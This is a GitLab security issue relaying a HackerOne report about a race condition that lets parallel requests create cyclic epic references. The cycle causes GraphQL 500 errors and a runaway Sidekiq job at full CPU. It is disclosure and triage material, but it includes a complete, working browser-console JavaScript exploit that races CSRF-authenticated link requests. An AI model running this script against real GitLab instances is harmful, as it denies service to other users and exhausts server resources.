:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2553716](https://hackerone.com/reports/2553716)** by `xorz` on 2024-06-16, assigned to @kmorrison1: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary A cyclic reference on epics can be created by sending parallel requests due to the lack of database level validations and the code level validations can be passed while the data is not persisted in DB yet. Once the loop is created, one GraphQL API throws a 500 error for stack overflow and the Rails background job runs in an infinite loop. ##### Steps to reproduce 1. on EE instance 1. create a project 1. create 4 epics, #1, #2, #3 and #4 1. set #1 as the child epic of #2 1. set #3 as the child epic of #4 1. get the `id` and `iid` of these 4 epics by visiting api url in your browser `YOUR_HOST/api/v4/groups/GROUP_NUMBERIC_ID/epics/EPIC_NUMBER`. such as `http://gitlab.test/api/v4/groups/94/epics/6` 1. view the source code of one HTML page of your Gitlab instance and get the `csrf-token` by searching 'csrf-token' in the source code 1. copy and paste the content of , don't forget to replace the variable values 1. run the code in the Chrome console on that HTML source code page 1. waiting for the log "Succeeded. Stopping loops.". You may need to run the code several times against the network or Gitlab instance conditions. 1. then visit one of your epic, you should see an error message 1. visit `http://YOUR_HOST/admin/sidekiq/` as system admin 1. then you should see the `Processed ` number are increasing significantly and it takes 100% CPU usage ##### Impact 1. other users can also see the 500 error on the attacked epic detail pages 1. the background job can take all the CPU resources ##### Examples This happened on my local instance of GitLab with the latest code version and it can also happen on any GitLab EE instance including gitlab.com. ##### What is the current *bug* behavior? 1. GraphQL API returns 500 errors 1. Background job has a 100% CPU usage   ##### What is the expected *correct* behavior? 1. throw errors when trying to create a cyclic reference  ##### Relevant logs and/or screenshots  ##### Output of checks This bug happens on my local instance. ###### Results of GitLab environment info ```shell System information System: Ubuntu 22.04 Proxy: no Current User: user Using RVM: no Ruby Version: 3.2.3 Gem Version: 3.5.11 Bundler Version:2.5.11 Rake Version: 13.0.6 Redis Version: 7.0.14 Sidekiq Version:7.1.6 Go Version: go1.22.3 linux/amd64 GitLab information Version: 17.1.0-pre Revision: 121c3f099de Directory: /home/user/dev/gitlab-development-kit/gitlab DB Adapter: PostgreSQL DB Version: 14.9 URL: http://gitlab.test:3001 HTTP Clone URL: http://gitlab.test:3001/some-group/some-project.git SSH Clone URL: ssh://git@gitlab.test:2222/some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: google_oauth2 GitLab Shell Version: 14.35.0 Repository storages: - default: unix:/home/user/dev/gitlab-development-kit/praefect.socket GitLab Shell path: /home/user/dev/gitlab-development-kit/gitlab-shell Gitaly - default Address: unix:/home/user/dev/gitlab-development-kit/praefect.socket - default Version: 17.0.0-rc2-321-g61c24a998 - default Git Version: 2.45.1 ``` #### Impact 1. GraphQL API returns 500 errors 1. Background job has a 100% CPU usage ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [background-jobs-usage.jpg](https://h1.sec.gitlab.net/a/d3bc8059-5b58-4951-b5a8-615db912dee6/background-jobs-usage.jpg) * [epics-cap.mov](https://h1.sec.gitlab.net/a/6c7e058a-2b1e-4b4f-8196-5311b57bcb5f/epics-cap.mov) * [epic-500-error.jpg](https://h1.sec.gitlab.net/a/492ef206-7138-434e-ba5a-39ee144c4afa/epic-500-error.jpg) * [epic-script.js](https://h1.sec.gitlab.net/a/9babefcb-88a7-472b-a59f-be79a43c3aa0/epic-script.js) * [correct-behavior.jpg](https://h1.sec.gitlab.net/a/e50530af-c115-4726-b8df-fcd340269639/correct-behavior.jpg) ## How To Reproduce ## Summary The reporter has indicated an issue where a cyclic reference can be created by sending parallel requests due to the lack of database-level validations. The code-level validations can be bypassed while the data is not yet persisted in the database. Once the cyclic reference loop is established, a GraphQL API endpoint throws a 500 error for any user when accessing the effected epics. ## Steps to Reproduce (From HackerOne triager) 1. On an Enterprise Edition (EE) GitLab instance, create a new group and project. 2. Create four epics: #1, #2, #3, and #4. 3. Set #1 as the child epic of #2. 4. Set #3 as the child epic of #4. 5. Obtain the `id` and `iid` of these four epics by visiting the API URL in your browser, e.g., `YOUR_HOST/api/v4/groups/GROUP_NUMBERIC_ID/epics/EPIC_NUMBER`. 6. View the source code of an HTML page on your GitLab instance and get the `csrf-token` by searching for 'csrf-token' in the source code. 7. Copy and paste the content of the provided code snippet , replacing the variable values at the bottom: ```js class RequestHandler { constructor(groupPath, csrfToken, epics) { this.groupPath = groupPath; this.csrfToken = csrfToken; this.epics = epics; } async reset() { let request1 = this.buildResetRequest(this.epics[0].iid, this.epics[3].id); let request2 = this.buildResetRequest(this.epics[2].iid, this.epics[1].id); return await Promise.all([request1, request2]); } async race() { let request1 = this.buildRaceRequest(this.epics[0].iid, this.epics[3].iid); let request2 = this.buildRaceRequest(this.epics[2].iid, this.epics[1].iid); return await Promise.all([request1, request2]); } buildRaceRequest(current_node_iid, parent_id) { return fetch(`${this.groupPath}/-/epics/${current_node_iid}/links`, { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "en-US,en;q=0.9", "cache-control": "no-cache", "content-type": "application/json", "pragma": "no-cache", "x-csrf-token": this.csrfToken, "x-requested-with": "XMLHttpRequest" }, "body": `{\"issuable_references\":[\"${this.groupPath}/-/epics/${parent_id}\"]}`, "method": "POST", "mode": "cors", "credentials": "include" }).then(response => { return response.json().then(json => { return { status: response.status, data: json } }) }); } buildResetRequest(current_node_iid, parent_id) { return fetch(`${this.groupPath}/-/epics/${current_node_iid}/links/${parent_id}`, { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "en-US,en;q=0.9", "cache-control": "no-cache", "pragma": "no-cache", "x-csrf-token": this.csrfToken, "x-requested-with": "XMLHttpRequest" }, "body": null, "method": "DELETE", "mode": "cors", "credentials": "include" }); } async mainLoop() { const message = "This epic cannot be added. It is already assigned to the parent epic."; for (let i = 0; i < 1000; i++) { let responses = await this.race(); if (responses && responses.every(response => response.status === 409) && responses.every(response => response.data.message === '')) { console.log('Create a new group and do it again'); break; } if ((responses && responses.every(response => response.status === 200)) || (responses && responses.every(response => response.data.message === message))) { console.log('Succeeded. Stopping loops.'); break; } else { console.log('Calling reset().'); await this.reset(); } } } } // Replace the value of groupPath, csrfToken, epics. const groupPath = 'https://gitlab.example.com/groups/testgroup'; const csrfToken = 'xyz'; const epics = [{ "iid": 1, "id": 3 }, { "iid": 2, "id": 4 }, { "iid": 3, "id": 5 }, { "iid": 4, "id": 6 }, ] const handler = new RequestHandler(groupPath, csrfToken, epics); handler.mainLoop(); ``` 8. Run the code in the **Chrome** console on the HTML source code page. 9. Wait for the log "Succeeded. Stopping loops." (you may need to run the code several times). 10. Visit one of your epic pages, and you should see an error message and a 500 on the associated graphql call {F3367331} 11. Visit `http://YOUR_HOST/admin/sidekiq/` as a system admin, and you should see the `Processed` number increasing significantly, indicating high CPU usage. ## Impact This impacts all users viewing the epic, leading to a mild loss of availability. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues